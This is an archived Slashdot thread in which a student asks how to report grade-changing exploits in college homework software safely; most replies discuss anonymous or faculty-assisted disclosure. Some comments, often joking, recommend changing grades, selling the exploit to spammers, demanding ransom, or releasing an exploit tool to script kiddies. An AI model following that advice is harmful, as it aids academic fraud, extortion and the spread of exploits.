Slashdot Mirror


Disclosure of Major Software Exploits by Students?

school-hacker asks: "I am a U.S. university student who has recently come across 2 remote exploits for a homework program used by colleges nationwide. Both vulnerabilities allow students to give themselves arbitrary scores, and possibly execute arbitrary code. To further emphasize the scope of this vulnerability, I have written and -selftested proof-of-concept exploit code. Naturally, I want to share this information with their software engineers, and would even be nice enough and suggest a means to fixing it. However, with the state of current intellectual property and reverse-engineering laws, I hesitate to do so out of fear of litigation or academic disciplinary action. As an ethical geek, what do -you- do?" While the responses from an earlier story might prove useful, here, there is always the possibility of the university making things harder for the person reporting the problem. How can students avoid both legal and academic trouble, when trying to notify their university of security problems?

503 comments

  1. the Slashdot way by ramzak2k · · Score: 4, Funny

    be an Anonymous Coward for a day!

    still better, post the expolits here , we will make sure they come to know.

    --

    Siggy Say, Siggy Do
    1. Re:the Slashdot way by The+Old+Burke · · Score: 5, Informative
      Or use husmail.com
      Send the mail with exploit to abuse/contact/CEO@companywithexploit.com
      Tell them that you will release the exploit within 30/60/90 days on Bugtraq, Freenet and Slashdot unless they fix it.

      Make sure you also send the mail to:
      -Local/regional newspapers.
      -The school/school council/principal/teachers/newspaper.
      -Local government official(s).

      If they don't fix the shit after this, release the exploit *anonymously*.

      --
      Proud patriot and republican voter.
    2. Re:the Slashdot way by Anonymous Coward · · Score: 0

      1. hack school's grades

      2. ???

      3. profit!!

      customers:

      select * from students where academicprobation = true and car in (bmw, mercedes, porsche, landrover)

    3. Re:the Slashdot way by The+Old+Burke · · Score: 1
      Or of course the second alternative:
      Forget about the release thing and use the exploit for whats it worth.

      There are several ways you could use this exploit.
      A. This is the A only way.
      B. If your grades are really bad, don't get greedy someone will notice.

      C. This is the "start you own bussiness while you are still in school version"
      Contact a well known spammer (recent /. story about spam) and sell the exploit for all its worth!!!!
      Forget about Enlargement pills and Fake uni diplomas; this could be the next BIG thing within the Spam world!!

      --
      Proud patriot and republican voter.
    4. Re:the Slashdot way by reynaert · · Score: 4, Insightful
      Make sure you also send the mail to:
      -Local/regional newspapers.
      -The school/school council/principal/teachers/newspaper.
      -Local government official(s).
      Err, don't do that, unless as a last resort, if they don't fix the bug months after you've posted the exploit to bugtraq. You want them to fix the bug, not to sue you. Also remember you'll have to give up your anonimity before any of those three groups will listen to you.
    5. Re:the Slashdot way by The+Old+Burke · · Score: 1
      Maybe I was a bit unclear on this point.

      On the above recipents you of course don't include the exploit only information about the situation and your full disclosure plans.

      --
      Proud patriot and republican voter.
    6. Re:the Slashdot way by magores · · Score: 2, Funny

      Black - Change your grade. Release it systematically, and quietly, to the wild next semester.

      Grey - Change your grade. Give it to the proper officials next semester.

      White - Uhhhh.... Ummm.... //scratches head\\... Hmm.

    7. Re:the Slashdot way by syukton · · Score: 2, Informative

      hushmail.com you mean?

      --
      Reinvent the wheel only at either a lower cost, greater effectiveness, or your own personal enrichment and satisfaction.
    8. Re:the Slashdot way by Oper+Sorcerer · · Score: 1

      These bugs are mine! They're my IP. If you want to continue using these bugs you must pay me alot of money or I will sue you. In fact I have copyrighted bugs - ALL the bugs belong to me. If you have any bugs, you must send me all of your money today. Besides, I'll soon be out of a job and need the money. Darl

      --

      karma: Marianas Trench (mostly blub blub)
    9. Re:the Slashdot way by lommer · · Score: 1

      If they don't fix the shit after this, release the exploit *anonymously*.

      Riiiight, because you've sent them a letter saying that you're going to leak the hole in 30/60/90 days and then when the hole gets mysteriously leaked in that timeframe there's no WAY they could possibly guess it was you...

    10. Re:the Slashdot way by Alranor · · Score: 1

      Well that would probably be why he suggested mailing them from a hushmail account, or did you miss that part??

    11. Re:the Slashdot way by blatherwick · · Score: 1

      all your bug are belong to us!!!!

    12. Re:the Slashdot way by No+Such+Agency · · Score: 2, Insightful

      Sending notice to third parties is INSURANCE. What local paper wouldn't love a feature story about the local school screwing over a smart, observant student who was only trying to help them? Sure beats covering the local dog show... again. This goes double for the STUDENT paper.

      --
      Freedom: "I won't!"
    13. Re:the Slashdot way by Anonymous Coward · · Score: 0

      Go buy new paper from a store close to the university. Do not touch it - where latex gloves. Print the information on it. Put in a new envelope that you did not touch and address with an untouched label and an untouched stamp. Drive as far as you can and mail to them. This worked for that anthrax bastard, it can work for you.

      Then erase (truly erase, like with BCwipe) all information you have and forget you ever knew about this. Then NEVER do anything like this again as long as you live.

      Better safe than sued. DO NOT USE A COMPUTER TO COMMUNICATION this possible illegal information! Do not underestimate the power of a low tech solution.

    14. Re:the Slashdot way by adrianbaugh · · Score: 2, Insightful

      The traditional reason for not listening to anonymous sources has been that they tend to be unreliable; however, if you provide a working exploit when you write to the school, press and/or officials they will have no reason to doubt the veracity of your claims. They might doubt your motives, but that's a different matter - if there's something broken and it's been proved to them, then regardless of the source they may wish to pursue the matter.

      --
      "'I pass the test,' she said. 'I will diminish, and go into the West, and remain Galadriel.'"
      - JRR Tolkien.
    15. Re:the Slashdot way by antadam · · Score: 0

      so what's wrong w/webct now??? that thing's out of control w/holes...my old school was so unprotected you could log in to the sql database that it ran on.

    16. Re:the Slashdot way by martyros · · Score: 1
      Tell them that you will release the exploit within 30/60/90 days on Bugtraq, Freenet and Slashdot unless they fix it.

      I think timing here is really important: large universities can't just patch software anytime they want -- especially 2 weeks before the end of the semester. I'd send the bug report to the company, and make sure the company has a reasonable time to fix it, and then that the universities have a resonable amount of time for testing and roll-out.

      This depends, of course, on how fundamental the bug is... if it's an off-by-one error, a patch should be no problem; but if some if its protocols need to be redesigned, give them more time.

      I also understand your desire for anonymity and your fear of being sued; but I think it's really important that the existence of the bug be disclosed publicly as well. You might think about contacting security researchers who have exposed these kinds of bugs before -- Ed Felten or Aviel Rubin, for example. They have bosses who support disclosure, and have the resources to defend them.

      --

      TCP: Why the Internet is full of SYN.

    17. Re:the Slashdot way by hesiod · · Score: 1

      > or did you miss that part??

      Pay attention to what he's reading? Why would anyone do that?

    18. Re:the Slashdot way by Oper+Sorcerer · · Score: 1

      Thank you for browsing at -1

      --

      karma: Marianas Trench (mostly blub blub)
    19. Re:the Slashdot way by Anonymous Coward · · Score: 0

      He's not kidding--I've done this before. I used to be able to bypass the authentication on any of the computers here in minutes. I submitted a written complaint detailing the problem with an off-site (hotmail) address and got things resolved. I never did let them know who I was...

      I didn't ever misuse the exploit, but it's just safer this way.

    20. Re:the Slashdot way by Jucius+Maximus · · Score: 1

      Just make a lovely menu-driven win32 binary that a script kiddie could use that exploits the problems and release it on kazaa, gnutella, etc. Thousands of students will start using it and you can bet that the software manufacturer will fix it DAMN fast or the universities will switch to a different grading solution.

  2. Maybe anonymity is the key? by MikeCapone · · Score: 1

    Don't forget to wear dark glasses.

  3. Please post the exploit here by Anonymous Coward · · Score: 5, Funny

    and help college students across America 'correct' their grades.

    Allah thanks you.

    1. Re:Please post the exploit here by noah_fense · · Score: 1


      Please remember, this is just a HOMEWORK exploit. Big deal. Its not like homework is worth more than 10-20% of your final grade in most university classes. Homework is to learn, but sometimes you can't learn the mandated 3 times a week your online HW is due, so you collaborate with other students to find the "master formula" for the ridiculous statics problem and voila, you have the answers. Everyone does it, and it is actually encouraged by the physics dept (they setup a resource center where students can collaborate.

      However, if it was a problem with the actual final grading system, say spire.umass.edu, you could be in some serious deep sh*t.

      Also, if i EVER tried to port scan a homework system (my university uses OWL and WebCT), grading system, etc., i would have campus network adminstrators crawling up my ass and threatening expulsion. I'm surprised you even were able to DISCOVER the exploit (unless it is really obvious, such as changing the URL) without getting nailed. but then again, if they are using Blackboard, they might not be on the top of their security game . . .

      -n

    2. Re:Please post the exploit here by jbottero · · Score: 1

      Its not like homework is worth more than 10-20% of your final grade in most university classes.

      10 or 20% of your grade is nothing, no big deal? Yes, my man, I would like fries with that, and I said no "special sauce"... Hop to it!

  4. don't reveal who you are by Anonymous Coward · · Score: 0, Redundant

    comment about it anonymously

  5. Anon by Rosonowski · · Score: 3, Interesting

    Your best bet is to do something similar to what you have done here. Submit the information to them via an anyonymous channel, perhaps mailing a CD (which you handled using gloves, no less) with an explanation and machine-readable exploit code. You don't have to make it known that it was you, just that someone figured it out.

    --
    01101001 01100001 01101101 01101110 01101111 01110100 01100001 01101100 01100001 01110111 01111001 01100101 01110010
    1. Re:Anon by gfody · · Score: 5, Funny

      don't forget to include a hefty ransom, and instructions for where to leave the money in exchange for the "master" copy of the code. remember, no cops.

      --

      bite my glorious golden ass.
    2. Re:Anon by Anonymous Coward · · Score: 0

      perhaps mailing a CD (which you handled using gloves, no less)

      Don't forget to wear a tinfoil hat.

    3. Re:Anon by Anonymous Coward · · Score: 0

      Agreed. You should probably go the dead tree route instead of a CD. Just print out a small explanation, handle it with gloves/tweezers (no prints, no tracing), and make sure it gets delivered with your bomb threat on the day of finals. This will ensure that everyone pays careful attention to your information.

    4. Re:Anon by Anonymous Coward · · Score: 0
      Don't lick the envelope or stamp.

      (The Unabomber's identity was confirmed with DNA from an envelope -- which was licked years before DNA testing existed; the oh-so-smart bomber got tagged by tech which did not exist when he sent the letter. Another less notorious murderer was recently identified the same way, although he's been dead for years -- he was a suspect, but until now there was no proof.)

    5. Re:Anon by SuperFrink · · Score: 1

      You could submit the information along with some crypted text that has your own personal information. Then if it looks like you won't be charged/etc you can reveal the key and the plaintext. In this way you can identify yourself if/when needed without being identified if you don't want to be.

      I) Use the lyrics to a song or something if you don't want your personal info submited (though encrypted).

      II) I can't garuntee someone won't lie to make you come forward and treat you poorly after you do. This just gets the info submitted and gives you the choice to identify yourself later.

      Of course all of this assumes no one dicovers the plaintext somehow. :)

    6. Re:Anon by caluml · · Score: 1

      "Oh hell, let's just do what we always do - steal some nuclear weapons, and hold the world to ransom, yes, yes?"

    7. Re:Anon by frisket · · Score: 1

      Better, contact your school's datacenter or IT people and explain the problem to them. Make sure you pick a senior techie, rather than an administrator. If the bug is reported by the institution rather than an individual, it stands a better chance of getting fixed.

  6. How about.... by Anonymous Coward · · Score: 0

    Anonymously... no credit but at least the "geek ethics" are upheld

    1. Re:How about.... by Xoro · · Score: 2, Funny

      I'll get back to you about it after next semester? :D

      Make that:

      I'll get back to you about it after next semester? :A

      --
      Kill, Tux, kill!
  7. Give Yourself an A by FreeUser · · Score: 4, Interesting

    ... You've earned it. :-)

    Seriously, I'd take this slow. Perhaps writing something up in printed form and submitting it via snail mail would be smarter than having executable code lying around on a computer you own or have access to.

    --
    The Future of Human Evolution: Autonomy
    1. Re:Give Yourself an A by Johnny+Mnemonic · · Score: 4, Insightful


      Since you've done work for someone else--that they should be willing to pay for--I would argue that you should be compensated. However, I would also recommend legal counsel as to how you can present this offer without it sounding like extortion. And, even if you're willing to give it away, I would still seek said counsel--consider charging the application manufacturer only enough to cover your counsel.

      I would watch it, because you could certainly get into legal trouble--I believe that the Russian hackers mentioned a while back only wanted to work in IT, but made clumsy attempts to break into the field. It's easy to take a genuine offer as an extortion, although I think by rights you are due compensation.

      --

      --
      $tar -xvf .sig.tar
    2. Re:Give Yourself an A by reynaert · · Score: 5, Insightful

      Don't ever change your score, even if you give yourself a lower score, even if it's just for a demonstration. Any university will go berserk if a student does that, even if he acts in good faith.

    3. Re:Give Yourself an A by Anonymous Coward · · Score: 0

      True story from my high school. My programming class teacher told us, if we were able to hack our way into the grading system and get the access required to change students grades, then we must obviously know something about computers and probably deserve an 'A' if we chose to give ourselves one. I successfully gained access and could have changed my grades, but it was really irrelivent to me since I already had an 'A' grade the good ole fashioned way, though I was happy to succeed at the challenge. I wish there were more instructers like that out there...

    4. Re:Give Yourself an A by ShieldW0lf · · Score: 2, Interesting

      How much would ppl pay to change a D to a B? Can you find everyone who got a D?

      --
      -1 Uncomfortable Truth
    5. Re:Give Yourself an A by shmert · · Score: 5, Funny

      No, give your arch nemesis an A+++ 150% average, then sit back and watch. Everything will sort itself out nicely.

      --
      You drank my drink, you drunk!
    6. Re:Give Yourself an A by nametaken · · Score: 3, Informative

      As far as legal counsel goes, I think it would be both cheap (and kinda funny) if you use the free legal advice offered by the campuses themselves to determine a course of action.

      Nearly ever campus has free legal advice for students consultation.

    7. Re:Give Yourself an A by bigsteve@dstc · · Score: 4, Insightful
      Don't attempt to obtain compensation!
      • As the previous poster said, an attempt to solicit compensation from the software vendor for "work done" could constitute attempted extortion, and as such could be illegal.
      • Even if you do this in a legal way, you stand a good chance of being portrayed in the media as an evil money grubbing bastard.
      • If you get branded as evil, other people who are looking for a exploits as a genuine public service will also tend to be "tarred with the same brush". That is likely to put them off doing this important work, which would be a BAD THING!!
      If you are nervous about the whole position, your best bet is to inform your school. (Do it in such a way that you don't give them any evidence they could use against you until you know that they will treat you fairly.)

      Your school has a vested interest in not having students hack the marking software they use. They won't want their grading schemes to be publicly called into question. They should also have the resources to deal with the question. If they decide to ignore the issue, they may get into legal trouble later on when they are sued by ex-students whose degrees have been "devalued".

    8. Re:Give Yourself an A by the_ed_dawg · · Score: 4, Interesting
      Congratulations! You've just committed a major academic honesty offense! Do not pass go. Do not collect $200... and for damn sure, do not collect your diploma.

      Keep in mind that although you may not get caught, you might get even worse than caught. Any reputable college will likely set up an expulsion hearing for academic fraud. Even worse, in my home state (Arkansas), it is a class D felony to modify academic records at a higher institution. Actually, they busted a couple of people working in the transcript office for altering grades last fall at my college. w00t! H4x0r5 uN1T3!

      --
      There are two types of people: those prepared for the zombie apocalypse and those who will be eaten.
    9. Re:Give Yourself an A by Anonymous Coward · · Score: 0
      Don't ever change your score, even if you give yourself a lower score, even if it's just for a demonstration. Any university will go berserk if a student does that, even if he acts in good faith.

      Agreed...but if you know of a star football player in academic trouble...well, changing his grades would make you a hero of the school.

      Wait a second...what was I thinking? A star athlete in academic trouble? What teacher would be stupid enough to do that.

    10. Re:Give Yourself an A by xenocide2 · · Score: 1

      Or give a group of people an A if you want to include yourself for some stupid reason. And since any evil genius worth his doomsday device allready knows who's been in a tight situation before (or if none exists, protcol is to frame one), most of the heat should be off you. But don't be stupid about it, after all you don't want them to think you got caught. Maybe instead of altering the overall grades you give your targets microhelp on given assignments, sort of like the rounding error in Office Space. Without the federal pound-me-in-the ass screw up, naturally.

      --
      I Browse at +4 Flamebait

      Open Source Sysadmin

    11. Re:Give Yourself an A by Drakonian · · Score: 4, Funny

      A+++++++++! Superb student! Would teach again!!!!

      --
      Random is the New Order.
    12. Re:Give Yourself an A by Concerned+Onlooker · · Score: 1
      Since you've done work for someone else--that they should be willing to pay for--I would argue that you should be compensated.

      He may have done the work but no one was suggesting that he do so. What he has done is called 'on spec' and when you do something like that you take a chance that you may not get paid anything for it. Of course, you don't have to hand over the work, either.
      Still, this 'on spec' work has the same feeling to me that I would get if someone came up to me and said, "hey, I know a way to get into your house and I have a way of fixing it that you might be interested in." It's a more than a little threatening sounding even if your intentions are good. Speaking of which, if your intentions really ARE that good just follow any of a number of anonymous and unthreatening ways to handle this that have so generously been put forth in other posts.

      --
      http://www.rootstrikers.org/
    13. Re:Give Yourself an A by rf0 · · Score: 2, Interesting

      I agree here. We know your heart is in the right place but other people might not see it like that. ASs long as yo udon't care about the fame and the glory just make them aware of it then move onto something else

      Rus

    14. Re:Give Yourself an A by BrynM · · Score: 1

      I agree. He could even just post it to them anonymously (ie: e-mail them details from a hotmail account created at a public - not school - library or something). Then he could sit back as some idiot tries to take credit and gets himself reamed. It's an interesting show...

      --
      US Democracy:The best person for the job (among These pre-selected choices...)
    15. Re:Give Yourself an A by roman_mir · · Score: 1

      DO NOT do that. You may end up in very big trouble IF there are backup systems that back up all that data and are later used to do a comparison with the live system.

      Now, if you want to screw someone up, that is a totally different story :)

    16. Re:Give Yourself an A by jbottero · · Score: 1, Interesting

      Ah yes, another Slashdot Lawyer. "I know of a security hole. If you pay me I'll fix it. If not, back to my classes." is extortion??? It's an offer to do work. Extortion is "Pay me or I'll post this shit all over campas".

      Pull your head out.

    17. Re:Give Yourself an A by WNight · · Score: 1

      Some locksmiths do just that in high-crime areas, or low-crime areas that have had a sudden rash of B&Es.

      They go door-to-door telling people about the weaknesses of their locks, etc, and offer, for a hefty fee, to fix them. It might be scary learning that your door locks are swiss cheese, but that's not the locksmith's fault.

    18. Re:Give Yourself an A by bigsteve@dstc · · Score: 1
      My advice is for the poster to ask a lawyer to be sure that the way that he asks for compensation does not constitute an illegal act (e.g. extortion). Also the poster needs to be sure that he isn't comitting/admitting an illegal act under the DCMI. I offer this as common sense advice, on the basis that 1) some ways of "asking for compensation" definitely are extortion, 2) it is better to be safe than sorry.

      Are you really saying that the original poster doesn't need to ask a lawyer about these things? What is the basis for this advice?

  8. like the big boys by Anonymous Coward · · Score: 2, Insightful

    duh : anonymous email with a threat to go public.

    Like the big boys do it.

  9. What to do by tugfoigel · · Score: 4, Insightful

    You could always try approaching your advisor or some other trusted faculty member.

    1. Re:What to do by p2sam · · Score: 2, Interesting

      how about pulishing the exploit to your local student newspaper. It'd make a great story, and they can protect your identity.

    2. Re:What to do by Phattypants · · Score: 3, Insightful

      Indeed, if you trust a faculty member implicitly you should approach them about it. Not just any faculty member now, go to one in the CS department or your equivalent. Another option would be to speak to someone who actually deals with campus network security, as they too will have a good deal of clout with the administration.

      Take it from someone who has been a computer lab assistant, technician, and web developer successively (that'd be me). IT faculty are pretty receptive to this kind of thing.

      Now if the key is to lucratively enjoy the fruits of your labour then you should take someone else's advice.

    3. Re:What to do by mgessner · · Score: 1

      Maybe the *local* newspaper could protect his identity, but the local *school* newspaper probably could not.

      See, everyone who works at the paper is under the jurisdiction of the school's president/chancellor/high-up-mucky-muck. I'm not so sure that the student journalists' rights would be protected. I know I've read of stories in the past where, if education is involved, it's up to the school administration, other rights being set aside in favor of the school's right to enforce its rules and policies (which you agree to, implicitly or explicitly, by paying tuition).

      --
      "Sometimes the truth is stupid." - Lawrence, creator of Prime Intellect
    4. Re:What to do by Ellen+Spertus · · Score: 1
      As a computer science professor, I agree. Going through a faculty member has the following advantages:
      • Professors are treated with much more respect than students. It would be terrible PR for a company to harass a CS/IT professor who reported a security problem to them.
      • You will make a name for yourself in your department (and beyond) both for being clever and ethical. Such intangibles will be more valuable to you in the long run than if you were paid or received extra credit for the work.
      Just try to choose a professor who doesn't falsely take credit for students' work. (Check if the professor's name is first on all papers with students, particularly their theses.)
  10. If you want to avoid getting into trouble... by James+A.+A.+Joyce · · Score: 3, Insightful

    ...anonymity is the key. My crystal ball (i.e. an application of Murphy's Law) states that if you try to formally inform the universities of the flaw, you'll get hushed up, blamed and generally blusted. Just write anonymous letters to the companies who develop the software and the universities about the problems. If they don't take action, then feel guiltfree about giving yourself arbitrary scores. Remember: if you don't get caught, it's not illegal.

    1. Re:If you want to avoid getting into trouble... by BJZQ8 · · Score: 4, Insightful

      I used to work for a school district that had major security problems with its grading system. They would tape passwords to the bottom of their keyboards...and put files with lists of teacher passwords in a publically-accessible folder on the network. I attempted to tell my boss (who was getting paid $80,000 per year) about all of this, and was basically told it was not a big deal. I watched a student change his grade from D to B...and nobody ever knew. I told a few more people and was basically told to shut up...and I could feel their eyes turning to me as the problem. So I shut up...and it continues to this day. Just remember that with ultra-conservative computer administrative nazis, the nail that sticks up gets beat down.

    2. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      If you knew you boss' salary, looks like you also had your hand in the stench.

      I can see why you "shut up"

      Nice going, we need more with your strong morals.

    3. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 2, Funny
      the nail that sticks up gets beat down.
      This reminds me of a wonderful de-motivational poster...
    4. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      Most public sector jobs have posted pay grades.

    5. Re:If you want to avoid getting into trouble... by Lyrdor · · Score: 1
      Remember: if you don't get caught, it's not illegal.
      I missed the sarcasm of this. At least I hope you weren't serious...
    6. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0
      I used to work for a school district that had major security problems with its grading system. They would tape passwords to the bottom of their keyboards

      At my high school, they would write down the password on a slide out writing shelf in the school's office. I'd get myself sent to the principal just so I could look at the new password. I'd then use it to change my grade and the grade of the girl I was trying to impress so we wouldn't have to go to summer school. No wait, that wasn't me...
    7. Re:If you want to avoid getting into trouble... by fracex · · Score: 1

      May I... ahem... ask which university you are talking about? No particular reason

    8. Re:If you want to avoid getting into trouble... by NEOtaku17 · · Score: 1

      Haha that's funny. So yeah what university was this?

    9. Re:If you want to avoid getting into trouble... by BJZQ8 · · Score: 1

      The salary was very widely known and published in the local paper. I didn't have any reason to change my grade...I had been graduated from high school for, oh, 8 years or so. My morals ARE strong...which is why I quit that den of dirty-dealing, back-dooring, and slush-funding. I run another school district now, and do things MY way. Nobody knows the passwords...and I actually pay attention to what is going on. I have support from my Superintendent and the Board to ban anybody that tries anything like that...

    10. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      I go to a major university. In a lot of places, the extent of their security is network ports with the wires connected to the wrong pins. Cables have to be booked, but they have the standard plastic thingy on the end, so you can just look at the color coded wires inside.

      These are often on the same physical network as instructor's computers. Use your imagination.

    11. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      it worked for clinton

    12. Re:If you want to avoid getting into trouble... by PetWolverine · · Score: 2, Funny

      Nobody knows the passwords...

      This must lead to endless support calls from teachers.

      --
      I found the meaning of life the other day, but I had write-only access.
    13. Re:If you want to avoid getting into trouble... by caluml · · Score: 1

      Or: Eagles may soar, but weasels don't get sucked into jet engines.

    14. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      If you have documented proof that will stand up in court that the administration *knew* about and *ignored* this then that is a violation of due diligence. The matter need not be pursued in civil court, take it to the prosecutors. In fact, if you don't you might be accountable as an accessory to the crime. They should be very glad to see the information -- means they can raise the black-mail rate on the administration.

      To bring this back to the original topic, let's say the original AC didn't release his knowledge of the exploit but knew someone else who was using it? Is she/he an accessory to record fraud? Are student records at a public university considered public or private documents?

    15. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0
      To bring this back to the original topic, let's say the original AC didn't release his knowledge of the exploit but knew someone else who was using it? Is she/he an accessory to record fraud? Are student records at a public university considered public or private documents?

      It's just school. If you change your grade, who gives a rat's ass? In the world of breaking the law that's a 0.25 on a scale of 0-10. People like Ken Lay practically rape thousands of people into bankruptcy and doesn't even get a slap on the wrist. A kid changes a D to a B and suddenly people want to throw the book at him. This country is royally f*cked up. To the original poster: use this exploit to change your grade. Dont't ell anyone about it. In another 3 or 4 years it's not going to matter a hill of beans whether you got a B or a D in that class.

    16. Re:If you want to avoid getting into trouble... by kryliss · · Score: 1

      Sounds like you've been watching WarGames :)

      --
      --- If the bible proves the existence of God, then Superman comics prove the existence of Superman.
    17. Re:If you want to avoid getting into trouble... by BJZQ8 · · Score: 1

      If you would have read any of the original posting, you would have seen that I was referring to the passwords to the grade software that we use. Additionally, if you had used some amount of discernment, you would have realized that I was also referring to the fact that many students knew the passwords. Obviously if nobody knew the passwords there would be a problem...of course I was referring to the fact that the STUDENTS don't know the passwords. But of course you knew that.

    18. Re:If you want to avoid getting into trouble... by BJZQ8 · · Score: 1

      Although the security violations continue, the local police establishment, the city government, and the schools are all in close partnership. I attended a meeting once where they (police and school officials) were discussing exactly how to sweep under the rug the fact that a student had a list of everyone's password (generated by l0phtcrack,) and had been reading highly sensitive e-mails by highly agitated administrators. The FBI was involved, and their "computer crimes" division had their inept hands in the thing. Lo and behold, it was all swept under the rug, with little but superficial changes in security policy (now takes 5 minutes to crack the passwords, as opposed to 5 seconds.) I just did not and do not feel like fighting the system when I have little to gain and LOTS to lose...after all, they are the ones getting $80,000 a year to sit on their duffs.

    19. Re:If you want to avoid getting into trouble... by Anonymous Coward · · Score: 0

      Maybe we should make a sense of humor a prerequisite for a /. account.

  11. Anonymous reports by mindsuck · · Score: 1

    Posting anonymously to a mailing list like bugtraq could help but it could also mean that it could fall on wrong hands. What about just an anonymous report to the software company that developed it?

    --
    --- I w00t, therefore I'm l33t.
  12. LOL by hughesey · · Score: 0, Offtopic

    *looks shady* You can trust us!

    --

    Michael "Hughesey" Hughes
    Head Editor/S
  13. Ask First by Wanker · · Score: 1

    The best approach to a security "evaluation" is to ask the admins responsible for permission first. This lets them know that "something" might be going on soon so if they detect your attempts they won't panic and send the cops to your house/dorm room.

    This also makes it obvious that you were really trying to help find/enhance security rather than just hacking into the system for your own benefit.

  14. How about.... by kisielk · · Score: 5, Funny

    You send me the code.. and I will "examine" it to see if it would be legal. I'll get back to you about it after next semester? :D

  15. I know by trifster · · Score: 1

    Release the code to script kiddies. They will get the word out of the security holes....

  16. Blackboard by zerocool^ · · Score: 5, Informative

    This is probably having to do with "blackboard" software, i.e. learn.vt.edu.

    This software tries to be everything to everyone, and all most teachers use it for is posting grades.

    It doesn't surprise me that there are bugs in it, though. There have been several show up on astalavista.box.sk, and those were fixed, but the design of the program doesn't strike me as being particularlly sound.

    ~Will

    --
    sig?
    1. Re:Blackboard by chrisgeleven · · Score: 1

      Yeah that was my first guess (that this was Blackboard) when I saw this Slashdot story. There isn't many other systems like it out there.

    2. Re:Blackboard by Vann_v2 · · Score: 1

      Hmm. But the grades aren't actually stored in the Blackboard software, are they? That is, if you tampered with Blackboard there would still be the original grades, no?

    3. Re:Blackboard by HungWeiLo · · Score: 1

      In response to Blackboard, the University of Washington has come up with its own suite of online tools, free for use by faculty, students, and staff. While not as fully integrated as Blackboard, it is fully online and the developers are absolutely anal about having every single thing work from IE to Mozilla to Lynx on PC, Mac, and Linux. When I worked there, we had visiting delegations from MIT and Stanford coming personally to ask how the hell we did it with just a few developers and undergrads.

      --
      There are a huge number of yeast infections in this county. Probably because we're downriver from the bread factory.
    4. Re:Blackboard by pschmerg · · Score: 1

      I wouldn't be surprised if it were Blackboard. Back when I was a freshman at Virginia Tech one of my professors told me about the issues they were having. Apparently for half a semester you could log into anyone's account as long as you knew their PID.

  17. Dude, by T40+Dude · · Score: 1

    better don;t do anything, or send it to the company anonymously. With the current state of affairs, you might get in trouble, and it;s certainly not worth it. Besides, it' their job to find their bugs.

    1. Re:Dude, by dtfinch · · Score: 2, Interesting

      He does have a means to protect himself, the secrecy of the exploit.

      * If they release a patch, the exploit remains a complete secret, he gets a pat on the back, and everyone is happy.

      * If they refuse to release a patch, he can tarnish their reputation by posting of its existence, but without sharing the details of how to exploit it. Demonstrations available upon request to trustworthy security experts.

      * If they threaten legal action, he can threaten the release of the exploit.

      * If they pursue legal action, full details of the exploit plus the proof of concept appear on hundreds of websites, possibly including Slashdot.

    2. Re:Dude, by smeg168 · · Score: 1

      and if #4 happens then what, the company still releases a patch, after minor problems and he is legally screwed as this great judicial system of our has shown multiple times.

    3. Re:Dude, by dtfinch · · Score: 1

      Customers still have to install the patch. Too often they don't. The company has to weigh the effect of that on their business versus the twisted satisfaction they get from taking legal action against someone who helped them debug their software.

  18. Not willing to fight your own battles? by GoofyBoy · · Score: 4, Interesting


    Find someone who will or is better able to the local student newspaper.

    Grab a reporter, show him it, let him follow up.

    --
    The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
    1. Re:Not willing to fight your own battles? by Anonymous Coward · · Score: 0

      1. Grab a reporter
      2. show him it
      3. let him follow up
      4. Expulsion!!

    2. Re:Not willing to fight your own battles? by reynaert · · Score: 5, Insightful

      And you'll wind up with a very freaked out administration. What you want to do is to bring the problem to the attention of one of the techies that run the system, they might react sanely.

      What's even better is to send the developers an anonymous bug report (not from a university IP etc.), and, if they don't react, to BugTraq or another security list.

      You might also want to wait until you're graduated :)

    3. Re:Not willing to fight your own battles? by GoofyBoy · · Score: 1

      >And you'll wind up with a very freaked out administration.

      Thats kinda the idea.

      Some reporter will see it as the "big story of the year" and will run with it big time. The adminstration will do something which will have an effect on the software company and then things will happen. They can ignore emails/postings on websites but companies really can't ignore negative press or their clients.

      And the person who talks to the reporter should make sure he will remain annoymous.

      --
      The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
    4. Re:Not willing to fight your own battles? by Slurpee · · Score: 1


      And you'll wind up with a very freaked out administration. What you want to do is to bring the problem to the attention of one of the techies that run the system, they might react sanely.


      Why do people often assume that a techie will handle a security breach "sanely", whislt an administrator won't?

      I have seen administrators, management and developers shrug their shoulders when huge security holes are pointed out to them. I have also seen them react more appropriately. I don't think I have seen a correlation between the correct reaction and their job role (except for perhaps computer security people).

      Freaking out and shutting everything down sometimes *is* the sane response.

    5. Re:Not willing to fight your own battles? by Dun+Malg · · Score: 1
      The adminstration will do something which will have an effect on the software company and then things will happen.

      Oh yeah, things will happen. If he doesn't go to the administration first, they're going to:
      1. shout at the vendor, then 2. crack down on all the "hackers" that they think are in the school network

      Even if he remains anonymous, the freak-out police-state environment his public revelation will trigger will make a lot of people who don't deserve it (IT staff mostly) quite miserable. I say give the poor IT moneys a break. Let them know and have them tell the administration.

      --
      If a job's not worth doing, it's not worth doing right.
    6. Re:Not willing to fight your own battles? by Anonymous Coward · · Score: 0

      No kidding. I've done this before.

      You quietly, anonymously send them something written. Complaint forms work well here.

      Keep your mouth shut & stay anonymous. It's *so* much easier in the long run.

    7. Re:Not willing to fight your own battles? by piovere · · Score: 1

      Actually, I think I would remove the code from my system and write it up as a short paper. Then I would take that to my favorite CS prof who's interested in this sort of thing. That way it's much more likely to be viewed as an academic pursuit (which I assume it is) than to be seen as some extortive process. After you've talked it over with him and possibly a lawyer, you might be able to get some kind of compensation from the company that produced the software. 1. Find bug in grade posting software 2. ??? 3. Profit!!!

  19. Missing part by hsa · · Score: 0, Troll

    .. I wouldn't like my name to be published, because my grades would drop significantly.

    By releasing these exploits, I am merely getting rid of any competition - people get suspicious, when many students get very good grades.

    Best parts I will still be keeping to myself, excluding the backdoor I've written in the proof-of-concept code.

  20. Dude! Don't hold out on us like that! by Anonymous Coward · · Score: 0

    You gotta at least tell us how to do the exploit! Some source code, or a step-by-step guide, or something, just don't tempt us and then leave us hanging like that! Dude!

